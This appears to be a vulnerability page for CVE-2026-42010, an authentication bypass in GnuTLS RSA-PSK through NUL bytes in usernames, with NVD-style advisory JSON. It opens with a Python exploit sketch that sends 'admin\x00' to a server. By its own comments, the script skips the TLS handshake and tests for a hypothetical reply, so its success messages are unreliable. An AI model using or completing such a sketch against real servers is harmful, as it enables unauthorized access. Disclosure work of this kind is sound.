CVE-2026-42010

import socket # Conceptual PoC for demonstrating the NUL byte injection in username # Target: A server running vulnerable GnuTLS with RSA-PSK enabled target_ip = "192.168.1.100" target_port = 443 # Malicious username containing a NUL byte # This attempts to match "admin" if the server truncates at NUL malicious_username = b"admin\x00" def send_exploit(): try: # Setup socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # In a real exploit, this would involve crafting the specific TLS handshake # records with the ClientKeyExchange message containing the malformed identity. # This is a simplified representation of the data payload. payload = malicious_username print(f"[*] Sending payload to {target_ip}:{target_port}...") s.send(payload) # Wait for response response = s.recv(1024) print("[*] Response received.") if b"Handshake Success" in response: # Hypothetical check print("[+] Authentication bypassed!") else: print("[-] Exploit failed or patched.") s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-42010", "sourceIdentifier": "[email protected]", "published": "2026-05-07T12:16:17.977", "lastModified": "2026-05-14T23:16:36.520", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in gnutls. Servers configured with RSA-PSK (Rivest–Shamir–Adleman – Pre-Shared Key) wrongfully matched usernames containing a NUL character with truncated usernames. A remote attacker could exploit this by sending a specially crafted username, leading to an authentication bypass. This vulnerability allows an attacker to gain unauthorized access by circumventing the authentication process."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-626"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:gnutls:-:*:*:*:*:*:*:*", "matchCriteriaId": "33A22858-21E1-479F-A9C4-AD2EFD059B93"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:*", "matchCriteriaId": "87DEB507-5B64-47D7-9A50-3B87FD1E571F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "932D137F-528B-4526-9A89-CD59FA1AB0FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:13274", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-42010", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2467289", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}